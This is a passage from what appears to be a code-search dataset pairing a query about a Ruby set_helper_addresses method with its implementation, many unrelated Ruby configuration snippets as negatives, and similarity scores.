actualnicspec = vnic.spec\n if (actualnicspec!= nil )\n actualnicspec.ip = ipconfiguration\n else\n actualnicspec = hostvirtualnicspec\n end\n @networksystem.UpdateVirtualNic(:device => vnicdevice, :nic => actualnicspec)\n end\n end\n end\n return \"true\"\n rescue Exception => e\n # Not failing here as this happens when we configure the management network\n Puppet.err \"Unable to configure the IP settings on a port group because the following exception occurred: -\\n #{e.message}\"\n end\n end", "def set_memory(arg)\n ram = 0\n if /^(?<size>\\d+)(?<format>[mgtMGT])$/ =~ arg\n if format == 'M' || format == 'm'\n ram = size.to_i\n elsif format == 'G' || format == 'g'\n ram = size.to_i * 1024\n elsif format == 'T' || format == 't'\n ram = size.to_i * 1024 * 1024\n end\n else\n warn \"and amount of RAM required for the job in M / G / T example 2048M or 2G or 1T etc..\"\n exit\n end\n memory = \"--mem=#{ram}\"\n memory\nend", "def wn_dmtu\n get_link(link='dmtu')\n end", "def telnetmode=(mode)\n if (true == mode or false == mode)\n @options[\"Telnetmode\"] = mode\n else\n raise ArgumentError, \"argument must be true or false\"\n end\n end", "def proxysettings=(usage)\r\n\t\t\t`#{BITS::BITSADMIN} /setproxysettings {#{@id}} #{usage}`\r\n\t\tend", "def set_jumpsize\n @jumpsize = Jumpsize.find(params[:id])\n end", "def apply_network_settings container, networking\n OpenNebula.log_debug \"Configuring network\"\n nic = {:ifname => 'eth0', :host_mac => 'FE:FF:FF:FF:FF:FF'}\n\n container.add_veth nic\n OpenVZ::Util.execute \"brctl addif #{networking[:bridge]} veth#{container.ctid}.0\" unless networking[:bridge].nil?\n\n container.command \"ifconfig eth0 #{networking[:ip]}\"\n container.command \"ifconfig eth0 up\"\n end", "def set_memory(config, value)\n [\"hyperv\", \"virtualbox\"].each do |provider|\n config.vm.provider provider do |v, override|\n v.memory = value\n end\n end\nend", "def tune!(&block)\n each do |tunable|\n if tunable.respond_to?(:tune!)\n tunable.tune!(&block)\n end\n end\n \n return self\n end", "def set_public_network(vm_name, vm_config, ip) \n \n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n if ip.to_s.empty?\n log_info(\" - skipping public network ip setup\") \n return\n else \n log_info(\" - public network: ip: #{ip}\") \n end\n\n vm_config.vm.network :public_network, ip: ip\n end", "def set_4Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n set_cpu_and_ram(vm_name, vm_config, 4, 1024 * 4)\n end", "def set_speed(name, opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = (value == :default)\n\n cmds = [\"interface #{name}\"]\n case default\n when true\n cmds << 'default speed'\n when false\n cmd = enable ? \"speed #{value}\" : 'no speed'\n cmds << cmd\n end\n\n configure cmds\n end", "def customize_vm(v)\n mem = `grep 'MemTotal' /proc/meminfo | sed -e 's/MemTotal://' -e 's/ kB//'`.to_i / 1024 / 8\n cpus = 4\n v.customize [\"modifyvm\", :id, \"--memory\", mem]\n v.customize [\"modifyvm\", :id, \"--cpus\", cpus]\nend", "def network_options(type, ip, dhcp_enable)\n options = {}\n options[:ip] = ip\n options[:type] = type\n options[:libvirt__dhcp_enabled] = dhcp_enable\n\n options\nend", "def multithreaded=(multithreaded)\n set_default :multithreaded, multithreaded\n end", "def setsockopt(*) end", "def set_1Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n \n set_cpu_and_ram(vm_name, vm_config, 2, 1024)\n end", "def portgroup=(value)\n new_backing = RbVmomi::VIM.VirtualEthernetCardNetworkBackingInfo(\n :deviceName => value\n )\n vnic_new = vnic\n vnic_new.backing = new_backing\n spec = RbVmomi::VIM.VirtualMachineConfigSpec({\n :deviceChange => [{\n :operation => :edit,\n :device => vnic_new\n }]\n })\n vm.ReconfigVM_Task(:spec => spec).wait_for_completion\n end", "def automatic_replies_setting=(value)\n @automatic_replies_setting = value\n end", "def SetIp(node)\n \tnode.GetInterfaces().each do |ifn|\n\t self.GetGroupInterface(node, ifn).ip=\"1.1.1.1\"\n \t #self.GetGroupInterface(node, ifn).up\n\tend\n end", "def timeout=(timeout=:default)\n @timeout = TIMEOUTS.member?(timeout) ? TIMEOUTS[timeout] : timeout\n NOTIFICATION[:set_timeout].call @notification, @timeout\n end", "def timeout_ms=(value)\n Curl.set_option(:timeout_ms, value_for(value, :int), handle)\n end", "def set_12Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n set_cpu_and_ram(vm_name, vm_config, 4, 1024 * 12)\n end", "def set_default_options\n end", "def set_defaults\n # By the way, this method can NEVER return false or the method will return invalid, without an error message. Yay!\n self.is_public ||= false\n self.size ||= 5\n true\n end", "def vmotion=(value)\n Puppet.debug \"Updating vmotion status flag of specified portgroup.\"\n begin\n setupvmotion\n rescue Exception => e\n fail \"Unable to configure the vMotion on a port group because the following exception occurred: -\\n #{e.message}\"\n end\n end", "def set_opt(opt, default)\n if opt\n opt\n else\n default\n end\n end", "def passive_interface=(enable)\n fail TypeError unless enable == true || enable == false\n config_set('interface_ospf', 'passive_interface', @interface.name,\n enable ? '' : 'no')\n end", "def set_8Gb(vm_name, vm_config)\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n set_cpu_and_ram(vm_name, vm_config, 4, 1024 * 8)\n end", "def define_addrinfo_by_netmask_or_default\n # default ('host' mask)\n @options[:netmask] = 32 unless @options.key?(:netmask)\n define_addrinfo_with_netmask\n end", "def set_options(opt)\n @speed = opt[:speed] || 115200\n @model = opt[:model] || :reprap\n\n # 0 - Blocking indefinitely, -1 nonblocking.\n @blocking = 0\n end", "def default_delay=(v)\n @@default_delay = v\n end", "def max_chunk_size=(size)\n case size.to_s.downcase\n when 'wan'\n @max_chunk_size = 1420\n when 'lan'\n @max_chunk_size = 8154\n else\n @max_chunk_size = size.to_int\n end\n end", "def jvm_options(arg = nil)\n set_or_return(:jvm_options, arg, kind_of: String)\n end", "def set_nginxtest\n @nginxtest = Nginxtest.find(params[:id])\n end", "def set_proxy(addr, port = T.unsafe(nil), user = T.unsafe(nil), pass = T.unsafe(nil)); end", "def set_config(env, override_configurations = T.unsafe(nil)); end", "def default(name)\n configure [\"interface #{name}\", 'default switchport']\n end", "def set_default_size_unit\n self.size_unit = \"m\" if self.size_unit.blank?\n end", "def telnetmode(mode = nil)\n case mode\n when nil\n @options[\"Telnetmode\"]\n when true, false\n @options[\"Telnetmode\"] = mode\n else\n raise ArgumentError, \"argument must be true or false, or missing\"\n end\n end", "def set_setting\n end", "def setting( name, **options, &block )\n\t\tself.log.debug \" adding %s setting to %p\" % [ name, self.target ]\n\t\tself.add_setting_accessors( name, options, &block )\n\t\tself.add_default( name, options )\n\tend", "def max_memory=(value)\n FFI::Libvirt.virDomainSetMaxMemory(self, value) == 0\n end", "def max_threads=val\n\t\t\t@max_threads = val\n\t\tend", "def enable_mktme=(enable_mktme)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(enable_mktme)\n fail ArgumentError, \"invalid value for \\\"enable_mktme\\\", must be one of #{validator.allowable_values}.\"\n end\n @enable_mktme = enable_mktme\n end", "def med=(val)\n info \"os10_lldp_interface::med= #{val}\"\n begin\n conf_lines = []\n conf_lines << \"interface #{@interface_name}\"\n conf_lines << 'lldp med enable' if med == 'false' && val == 'true'\n conf_lines << 'lldp med disable' if val == 'false'\n conf_lines.each { |value| info value }\n ecc conf_lines\n return\n rescue Exception => e\n err 'Exception in med='\n err e.message\n err e.backtrace[0]\n raise\n end\n end", "def set_udp_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end", "def tcfg_set(key, value)\n tier_code_defaults[key] = value\n tcfg_reset\n value\n end", "def network=(value)\n if value == @defaults['ai.device.network']\n @values.delete 'ai.device.network' if @values.key? 'ai.device.network'\n else\n @values['ai.device.network'] = value\n end\n end", "def set_udp_port(name, opts = {})\n commands = command_builder('vxlan udp-port', opts)\n configure_interface(name, commands)\n end", "def set_tcp_timeout(opts)\n opts = check_params(opts,[:timeouts])\n super(opts)\n end", "def cisco_adaptive_mem_training=(cisco_adaptive_mem_training)\n validator = EnumAttributeValidator.new('String', [\"platform-default\", \"enabled\", \"disabled\"])\n unless validator.valid?(cisco_adaptive_mem_training)\n fail ArgumentError, \"invalid value for \\\"cisco_adaptive_mem_training\\\", must be one of #{validator.allowable_values}.\"\n end\n @cisco_adaptive_mem_training = cisco_adaptive_mem_training\n end", "def optimize=(value)\n set_attr(:optimize, value ? 2 : 1)\n @optimize = value\n end", "def set_config key, default=nil, &block\n default = _config_for(&block) if block_given?\n\n default = default.call if default.kind_of? Proc\n\n config[key] = default\n end", "def set_timeout(value)\n if value.nil?\n @timeout = 2\n else\n return skip_resource 'timeout is not numeric' unless value.to_s =~ /^\\d+$/\n @timeout = value\n end\n end", "def set_tuning\n @tuning = Tuning.find(params[:id])\n end", "def default_timeout\n @default_timeout ||= 20000\n end", "def configure_nb_fusion_vm(options)\n options['os-type'] = get_nb_fusion_guest_os(options)\n options = configure_fusion_vm(options)\n return\nend", "def max_send_speed_large=(value)\n Curl.set_option(:max_send_speed_large, value_for(value, :int), handle)\n end", "def config_network(instance, vm_config)\n\n vm_config[\"networks\"].each do |network, config|\n if config[\"type\"] == \"private\" then\n if config[\"ip\"] then\n instance.vm.network :private_network, ip: config[\"ip\"]\n end\n elsif config[\"type\"] == \"public\" then\n instance.vm.network :public_network\n end\n end if vm_config[\"networks\"]\n\n vm_config[\"ports\"].each do |port, config|\n\n raise \"At least the guest port is needed in 'guest_port' variable\" \\\n if config[\"guest_port\"].nil?\n\n instance.vm.network \"forwarded_port\",\n guest: config[\"guest_port\"],\n host: config[\"host_port\"] || config[\"guest_port\"],\n protocol: config[\"protocol\"] || \"tcp\",\n auto_correct: config[\"auto_correct\"] || true\n end if vm_config[\"ports\"]\n\nend", "def configure_vm(vm, **opts)\n\n vm.box = opts.fetch(:box, \"bento/ubuntu-16.04\")\n vm.network :private_network, ip: opts[:private_ip]\n\n vm.provider \"virtualbox\" do |vb|\n vb.memory = 4096\n vb.cpus = 2\n end\n \n # Disable default share, because we dont use it\n vm.synced_folder \".\", \"/vagrant\", disabled: true\nend", "def setup_multicast_socket\n set_membership(IPAddr.new(MULTICAST_IP).hton + IPAddr.new('0.0.0.0').hton)\n set_multicast_ttl(@ttl)\n set_ttl(@ttl)\n\n unless ENV[\"RUBY_TESTING_ENV\"] == \"testing\"\n switch_multicast_loop :off\n end\n end", "def default_timeout\n @default_timeout ||= 30\n end", "def set_remote_address(val = T.unsafe(nil)); end", "def set_options(opts)\n if not opts.nil?\n @options[\"min_tokens\"] = opts[\"min_tokens\"] if not opts[\"min_tokens\"].nil?\n @options[\"max_tokens\"] = opts[\"max_tokens\"] if not opts[\"max_tokens\"].nil?\n @options[\"matching_method\"] = opts[\"matching_method\"] if not opts[\"matching_method\"].nil?\n @options[\"threshold\"] = opts[\"threshold\"] if not opts[\"threshold\"].nil?\n @options[\"top_n\"] = opts[\"top_n\"] if not opts[\"top_n\"].nil?\n end\n end", "def configure_instance(node, i)\n node.vm.hostname = fqdn(i)\n network_ports node, i\nend", "def connecttimeout=(value)\n Curl.set_option(:connecttimeout, value_for(value, :int), handle)\n end" ]
[ "0.64655983", "0.63826144", "0.63826144", "0.5116881", "0.5116881", "0.5116881", "0.4748889", "0.46540523", "0.46029526", "0.4595679", "0.45774817", "0.45195213", "0.4499322", "0.44904998", "0.44777367", "0.44579932", "0.44459864", "0.4409966", "0.44056022", "0.43863192", "0.43821752", "0.43698406", "0.4367608", "0.4352853", "0.4352853", "0.43239373", "0.43228218", "0.43069234", "0.4302983", "0.42873192", "0.4282267", "0.42801505", "0.42764652", "0.42676947", "0.42436144", "0.4243336", "0.42310855", "0.42198938", "0.4219789", "0.42147693", "0.42097643", "0.42008677", "0.41955507", "0.41911379", "0.41867843", "0.41778556", "0.4173257", "0.41534573", "0.41509798", "0.414749", "0.41469917", "0.41361046", "0.41323", "0.41318053", "0.41223288", "0.41216573", "0.41121337", "0.4102592", "0.410226", "0.40973052", "0.4090294", "0.40882352", "0.40879282", "0.4071762", "0.40592778", "0.40572673", "0.40564075", "0.40411916", "0.4037019", "0.40279472", "0.4027355", "0.40194702", "0.40159154", "0.40078235", "0.40057978", "0.40051237", "0.4001121", "0.39979795", "0.39973778", "0.3996102", "0.3988696", "0.398463", "0.3982136", "0.3970425", "0.39678696", "0.39588732", "0.39559078", "0.39539447", "0.3950062", "0.39467576", "0.39453456", "0.39405528", "0.39374366", "0.3936537", "0.39341402", "0.393167", "0.39289722", "0.39158836", "0.39117336", "0.39082068" ]
0.6868758
0
set_helper_addresses configures the list of helper addresses on the ip interface. An IP interface can have one or more helper addresses configured. If no value is provided, the helper address configuration is set using the no keyword. If the default option is specified and set to true, then the helper address values are defaulted using the default keyword.
def set_helper_addresses(name, opts = {}) value = opts[:value] enable = opts.fetch(:enable, true) default = opts[:default] || false if value unless value.is_a?(Array) raise ArgumentError, 'value must be an Array' end end case default when true cmds = 'default ip helper-address' when false cmds = ['no ip helper-address'] value.each { |addr| cmds << "ip helper-address #{addr}" } if enable end configure_interface(name, cmds) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_helper_addresses(config)\n helpers = config.scan(/(?<=\\s{3}ip\\shelper-address\\s).+$/)\n { helper_addresses: helpers }\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def set_Addresses(value)\n set_input(\"Addresses\", value)\n end", "def set_addresses=(v)\n self.addresses = build_addresses(v)\n end", "def set_address(name, opts = {})\n cmds = command_builder('ip address', opts)\n configure_interface(name, cmds)\n end", "def update_defaults_if_needed\n return unless addressable.respond_to?(:addresses)\n\n make_default! if addressable.addresses.size == 1\n addressable.addresses.where.not(id: id).update_all(default_address: false) if self.default_address?\n end", "def assign_default_addresses!\n if payments.any?\n clone_billing_from_payments\n clone_shipping_from_payments if checkout_steps.include?(\"delivery\")\n elsif user\n clone_billing\n clone_shipping if checkout_steps.include?(\"delivery\")\n end\n end", "def make_addresses_editable\n before(:each) do\n # Allow editing of completed order addresses\n Spree::Address.class_eval do\n alias_method :orig_editable?, :editable?\n def editable?\n true\n end\n end\n\n [Spree::Order, Spree::User].each do |c|\n c.class_eval do\n alias_method :orig_can_update_addresses?, :can_update_addresses?\n def can_update_addresses?\n true\n end\n end\n end\n end\n\n after(:each) do\n # Restore original #editable? method\n Spree::Address.class_eval do\n alias_method :editable?, :orig_editable?\n end\n\n [Spree::Order, Spree::User].each do |c|\n c.class_eval do\n alias_method :can_update_addresses?, :orig_can_update_addresses?\n end\n end\n end\n end", "def set_address\n end", "def assign_default_addresses!\n if self.user\n self.bill_address_id = user.bill_address_id if !self.bill_address_id && user.bill_address.try(:valid?)\n self.ship_address_id = user.ship_address_id if !self.ship_address_id && user.ship_address.try(:valid?)\n end\n end", "def setDefaults\n ips = []\n if $IN_AWS\n [\"public-ipv4\", \"local-ipv4\"].each { |addr|\n begin\n Timeout.timeout(2) do\n ip = URI.open(\"http://169.254.169.254/latest/meta-data/#{addr}\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError\n # these are ok to ignore\n end\n }\n elsif $IN_GOOGLE\n base_url = \"http://metadata.google.internal/computeMetadata/v1\"\n begin\n Timeout.timeout(2) do\n # TODO iterate across multiple interfaces/access-configs\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n ip = URI.open(\"#{base_url}/instance/network-interfaces/0/access-configs/0/external-ip\", \"Metadata-Flavor\" => \"Google\").read\n ips << ip if !ip.nil? and ip.size > 0\n end\n rescue OpenURI::HTTPError, Timeout::Error, SocketError => e\n # This is fairly normal, just handle it gracefully\n end\n end\n\n\n $CONFIGURABLES[\"allow_invade_foreign_vpcs\"][\"default\"] = false\n $CONFIGURABLES[\"public_address\"][\"default\"] = $possible_addresses.first\n $CONFIGURABLES[\"hostname\"][\"default\"] = Socket.gethostname\n $CONFIGURABLES[\"banner\"][\"default\"] = \"Mu Master at #{$CONFIGURABLES[\"public_address\"][\"default\"]}\"\n if $IN_AWS\n # XXX move this crap to a callback hook for puttering around in the AWS submenu\n aws = JSON.parse(URI.open(\"http://169.254.169.254/latest/dynamic/instance-identity/document\").read)\n iam = nil\n begin\n iam = URI.open(\"http://169.254.169.254/latest/meta-data/iam/security-credentials\").read\n rescue OpenURI::HTTPError, SocketError\n end\n # $CONFIGURABLES[\"aws\"][\"subtree\"][\"account_number\"][\"default\"] = aws[\"accountId\"]\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"region\"][\"default\"] = aws[\"region\"]\n if iam and iam.size > 0\n # XXX can we think of a good way to test our permission set?\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_secret\"][\"desc\"] = $CONFIGURABLES[\"aws\"][\"subtree\"][\"access_key\"][\"desc\"] + \". Not necessary if IAM Profile #{iam.bold} has sufficient API access.\"\n end\n end\n $CONFIGURABLES[\"aws\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n $CONFIGURABLES[\"google\"][\"subtree\"][\"log_bucket_name\"][\"default\"] = $CONFIGURABLES[\"hostname\"][\"default\"]\n end", "def helpers(&helpers_block)\n @helpers_block = helpers_block\n end", "def add_ip_addresses(addresses, comment=\"\", list=\"GFWed\")\n logger.info \"addresses: #{addresses}\"\n message = \"\"\n counter = 0\n addresses.gsub!(\"\\r\", \"\")\n addresses.split(\"\\n\").each do |address|\n counter += 1\n message += add_ip_address(address, comment, list, false)\n end\n \n message = message == \"\" ? \"#{settings.rui_host}: #{counter} ip addresses add commands was sent.\" : message\n return message\n end", "def addresses=(addresses)\n set_collection(CapsuleCRM::Address, addresses)\n end", "def set_address_options\n @address_options = Address.all.map{ |a| [ a.label, a.id ]}\n end", "def set_name_servers(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n case default\n when true\n cmds = 'default ip name-server'\n when false\n cmds = ['no ip name-server']\n if enable\n value.each do |srv|\n cmds << \"ip name-server #{srv}\"\n end\n end\n end\n configure cmds\n end", "def set_remote_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def options=(options = {}); @address_impl.setOptions(convert_options(options)); end", "def set_as_default(user)\n current_default = user.addresses.find_by(default: true)\n current_default.update_attribute :default, false\n update_attribute :default, true\n end", "def set_local_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def build_addresses(options={})\n raise ArgumentError.new(\"No address declared for buyer (#{buyer.class.name} ##{buyer.id}), use acts_as_addressable\") \\\n unless buyer.respond_to?(:find_default_address)\n\n # buyer's billing address\n unless self.default_billing_address\n if buyer.respond_to?(:billing_address) && buyer.default_billing_address\n self.build_billing_address(buyer.default_billing_address.content_attributes)\n else\n if buyer_default_address = buyer.find_default_address\n self.build_billing_address(buyer_default_address.content_attributes)\n else\n raise ArgumentError.new(\n \"No billing or default address found for buyer (#{buyer.class.name} ##{buyer.id}), use acts_as_addressable\")\n end\n end\n end\n\n # buyer's shipping address is optional\n if buyer.respond_to?(:shipping_address)\n self.build_shipping_address(buyer.find_shipping_address_or_clone_from(\n self.billing_address\n ).content_attributes) unless self.default_shipping_address\n end\n\n # seller's address for origin address\n raise ArgumentError.new(\"No address declared for seller (#{seller.class.name} ##{seller.id}), use acts_as_addressable\") \\\n unless seller.respond_to?(:find_default_address)\n\n unless default_origin_address\n if seller.respond_to?(:billing_address) && seller.default_billing_address\n self.build_origin_address(seller.default_billing_address.content_attributes)\n else\n if seller_default_address = seller.find_default_address\n self.build_origin_address(seller_default_address.content_attributes)\n else\n raise ArgumentError.new(\n \"No billing or default address found for seller (#{seller.class.name} ##{seller.id}), use acts_as_addressable\")\n end\n end\n end\n end", "def make_default!\n current_default = self.addressable.addresses.where(default_address: true).first\n\n if current_default != self\n current_default.update_column :default_address, false if current_default.present?\n self.update_column :default_address, true\n end\n end", "def addresses(service_arg=service, options={})\n addresses_method = self.method(:addresses_dhcp)\n # check if ruby-libvirt was compiled against a new enough version\n # that can use dhcp_leases, as otherwise it will not provide the\n # method dhcp_leases on any of the network objects.\n has_dhcp_leases = true\n begin\n service.networks.first.dhcp_leases(self.mac)\n rescue NoMethodError\n has_dhcp_leases = false\n rescue\n # assume some other odd exception.\n end\n\n # if ruby-libvirt not compiled with support, or remote library is\n # too old (must be newer than 1.2.8), then use old fallback\n if not has_dhcp_leases or service.libversion() < 1002008\n addresses_method = self.method(:addresses_ip_command)\n end\n\n # replace current definition for this instance with correct one for\n # detected libvirt to perform check once for connection\n (class << self; self; end).class_eval do\n define_method(:addresses, addresses_method)\n end\n addresses(service_arg, options)\n end", "def set_address_type\n\n end", "def helper *helpers, &proc\n helpers.each { |h| @helpers[h] = proc }\n self\n end", "def set_mac_masquerade_address(opts)\n opts = check_params(opts,[:mac_masquerade_addresses])\n super(opts)\n end", "def set_mac_masquerade_address(opts)\n opts = check_params(opts,[:mac_masquerade_addresses])\n super(opts)\n end", "def setup_address_hash(options)\n default_address = {\n address1: 'Unspecified',\n city: 'Unspecified',\n state: 'NC',\n zip: '00000',\n country: 'US'\n }\n\n submitted_address = options[:billing_address] || options[:address] || default_address\n options[:billing_address] = default_address.merge(submitted_address.symbolize_keys) { |_k, default, submitted| check_billing_field_value(default, submitted) }\n options[:shipping_address] = options[:shipping_address] || {}\n end", "def default_address_checkbox\n $tracer.trace(format_method(__method__))\n return ToolTag.new(@tag.find.input.className(create_ats_regex_string(\"ats-defaultaddrbox\")), format_method(__method__))\n end", "def from_addresses=(value)\n @from_addresses = value\n end", "def assign_addresses\n self.billing_address ||= Address.default(store)\n self.shipping_address ||= Address.default(store)\n\n if billing_group && billing_group.billing_address.present?\n billing_address.copy_from(billing_group.billing_address)\n end\n if shipping_group && shipping_group.shipping_address.present?\n shipping_address.copy_from(shipping_group.shipping_address)\n end\n check_separate_shipping_address\n end", "def init_addresses\n @@client.describe_addresses.addresses\n end", "def default_from_address=(default_from_address)\n if default_from_address.nil?\n fail ArgumentError, \"default_from_address cannot be nil\"\n end\n\n if default_from_address.to_s.length > 50\n fail ArgumentError, \"invalid value for 'default_from_address', the character length must be smaller than or equal to 50.\"\n end\n\n @default_from_address = default_from_address\n end", "def build_addresses(options={})\n raise \"override in purchase_order or sales_order\"\n end", "def set_IPAddress(value)\n set_input(\"IPAddress\", value)\n end", "def set_IPAddress(value)\n set_input(\"IPAddress\", value)\n end", "def use_for_local_addresses=(value)\n @use_for_local_addresses = value\n end", "def fill_in_with_multiple_addresses!\n expect(page).to have_content(CHOOSE_EXISTING)\n page.first('#button-new-address').trigger('click')\n fill_in_checkout_address!\n page.first('.addresses__address-use a').trigger('click')\n end", "def make_addresses_deletable\n before(:each) do\n # Allow editing of completed order addresses\n Spree::Address.class_eval do\n alias_method :orig_can_be_deleted?, :can_be_deleted?\n def can_be_deleted?\n true\n end\n end\n\n [Spree::Order, Spree::User].each do |c|\n c.class_eval do\n alias_method :orig_del_can_update_addresses?, :can_update_addresses?\n def can_update_addresses?\n true\n end\n end\n end\n end\n\n after(:each) do\n # Restore original #can_be_deleted? method\n Spree::Address.class_eval do\n alias_method :can_be_deleted?, :orig_can_be_deleted?\n end\n\n [Spree::Order, Spree::User].each do |c|\n c.class_eval do\n alias_method :can_update_addresses?, :orig_del_can_update_addresses?\n end\n end\n end\n end", "def set_Address1(value)\n set_input(\"Address1\", value)\n end", "def build_addresses(options={})\n raise \"override in purchase_order or sales_order\"\n end", "def set_helper\n @helper = Helper.find(params[:id])\n end", "def set_helper\n @helper = Helper.find(params[:id])\n end", "def reply_to=(addresses)\n address_list_assign('Reply-To', addresses)\n end", "def use_default_address\n return unless self.address\n self.address = client.addresses.first\n end", "def address=(address)\n set_default :address, address\n end", "def assign_addresses\n Optopus::Address.where(:network_id => nil).where('ip_address << ?', self.address.to_cidr).each do |address|\n self.addresses << address\n end\n\n # if we changed our cidr address, go through and update\n # addresses that are no longer part of this network\n if !self.new_record? && self.address_changed?\n self.addresses.where('NOT ip_address << ?', self.address.to_cidr).update_all('network_id = NULL')\n end\n end", "def set_ip_adress\n @ip_adress = IpAddress.find(params[:id])\n end", "def addresses\n @addresses ||= init_addresses\n end", "def populate_billing_address!(options)\n options['contract.default'].billing_address ||= Address.new\n end", "def helper(*helpers)\r\n helper_object.extend *helpers\r\n end", "def set_domain_list(opts = {})\n value = opts[:value]\n enable = opts.fetch(:enable, true)\n default = opts[:default] || false\n\n if value\n unless value.is_a?(Array)\n raise ArgumentError, 'value must be an Array'\n end\n end\n\n cmds = []\n case default\n when true\n parse_domain_list[:domain_list].each do |name|\n cmds << \"default ip domain-list #{name}\"\n end\n when false\n parse_domain_list[:domain_list].each do |name|\n cmds << \"no ip domain-list #{name}\"\n end\n if enable\n value.each do |name|\n cmds << \"ip domain-list #{name}\"\n end\n end\n end\n configure cmds\n end", "def toggle_default_address\n self.address.default_address = !self.default_address\n self.outlets[\"default_address_button\"].setBackgroundColor(UIColor.colorWithPatternImage(UIImage.imageNamed(\"images/checkbox#{accepts_terms ? \"-checked\" : \"\"}.png\")), forState: UIControlStateNormal) \n end", "def set_prober_address(opts)\n opts = check_params(opts,[:addresses])\n super(opts)\n end", "def construct_helper_params\n res = []\n networks.each do |network_name, network_data|\n name = (network_data[:shortname]) ? network_data[:shortname] : network_name\n\n line = \"#{name}:#{network_name}\"\n (network_data[:dhcp]) || line << ':NODHCP'\n res << line\n end\n res.join(' ')\n end", "def included_addresses=(new_addresses)\n @included_scan_targets[:addresses] = new_addresses\n end", "def ship_to_address(options)\n for setting in [:first_name, :last_name, :company, :city, :state, :zip, :country] do\n if options[setting] then\n add_field 'x_ship_to_' + setting.to_s, options[setting]\n end\n end\n raise 'must use :address1 and/or :address2' if options[:address]\n add_field 'x_ship_to_address', (options[:address1].to_s + ' ' + options[:address2].to_s).strip\n end", "def add_url_helper(name, defaults, &block); end", "def add_url_helper(name, defaults, &block)\n helper = CustomUrlHelper.new(name, defaults, &block)\n path_name = :\"#{name}_path\"\n url_name = :\"#{name}_url\"\n\n @path_helpers_module.module_eval do\n redefine_method(path_name) do |*args|\n helper.call(self, args, true)\n end\n end\n\n @url_helpers_module.module_eval do\n redefine_method(url_name) do |*args|\n helper.call(self, args, false)\n end\n end\n\n @path_helpers << path_name\n @url_helpers << url_name\n\n self\n end", "def expect_user_addresses(user)\n user.reload\n expect_selected(user.bill_address, :user, :bill)\n expect_selected(user.ship_address, :user, :ship)\n\n expect_list_addresses(user.addresses)\n end", "def describe_addresses( options = {} )\n options = { :public_ip => [] }.merge(options)\n params = pathlist(\"PublicIp\", options[:public_ip])\n return response_generator(:action => \"DescribeAddresses\", :params => params)\n end", "def define_addrinfo_by_netmask_or_default\n # default ('host' mask)\n @options[:netmask] = 32 unless @options.key?(:netmask)\n define_addrinfo_with_netmask\n end", "def address_list_assign(field_name, addresses)\n if addresses.kind_of?(Array)\n value = addresses.collect { |e|\n if e.kind_of?(RMail::Address)\n e.format\n else\n RMail::Address.parse(e.to_str).collect { |a|\n a.format\n }\n end\n }.flatten.join(\", \")\n set(field_name, value)\n elsif addresses.kind_of?(RMail::Address)\n set(field_name, addresses.format)\n else\n address_list_assign(field_name,\n RMail::Address.parse(addresses.to_str))\n end\n end", "def force_user_address_updates(enabled)\n before(:each) do\n # Allow or disallow user address assignment\n Spree::User.class_eval do\n alias_method :orig_can_update_addresses?, :can_update_addresses?\n\n if enabled\n def can_update_addresses?\n true\n end\n else\n def can_update_addresses?\n false\n end\n end\n end\n end\n\n after(:each) do\n # Restore original #can_update_addresses? method\n Spree::User.class_eval do\n alias_method :can_update_addresses?, :orig_can_update_addresses?\n end\n end\n end", "def add_address(post, options)\n if address = options[:billing_address] || options[:address]\n post[:ci_billaddr1] = address[:address1]\n post[:ci_billaddr2] = address[:address2] if address[:address2]\n post[:ci_billcity] = address[:city]\n post[:ci_billstate] = address[:state]\n post[:ci_billzip] = address[:zip]\n post[:ci_billcountry] = address[:country]\n end\n\n if address = options[:shipping_address]\n post[:ci_shipaddr1] = address[:address1]\n post[:ci_shipaddr2] = address[:address2] if address[:address2]\n post[:ci_shipcity] = address[:city]\n post[:ci_shipstate] = address[:state]\n post[:ci_shipzip] = address[:zip]\n post[:ci_shipcountry] = address[:country]\n end\n end", "def set_for_manual_address\n @show_manual_address = true\n @address_read_only = false\n # clear the identifier as this address is no longer from the search\n @address_detail.address_identifier = nil\n end", "def reset_mac_addresses!\n delegate(provider, :reset_mac_addresses!)\n end", "def add_ips_to_env!(env)\n adapter, host_ip = find_host_only_adapter\n machine_ip = read_static_machine_ips\n\n if !machine_ip\n # No static IP, attempt to use the dynamic IP.\n machine_ip = read_dynamic_machine_ip(adapter)\n else\n # We have static IPs, also attempt to read any dynamic IPs.\n # If there is no dynamic IP on the adapter, it doesn't matter. We\n # already have a static IP.\n begin\n dynamic_ip = read_dynamic_machine_ip(adapter)\n rescue Vagrant::Errors::NFSNoGuestIP\n dynamic_ip = nil\n end\n\n # If we found a dynamic IP and we didn't include it in the\n # machine_ip array yet, do so.\n if dynamic_ip && !machine_ip.include?(dynamic_ip)\n machine_ip.push(dynamic_ip)\n end\n end\n\n if host_ip && !machine_ip.empty?\n interface = @machine.provider.driver.read_host_only_interfaces.detect do |iface|\n 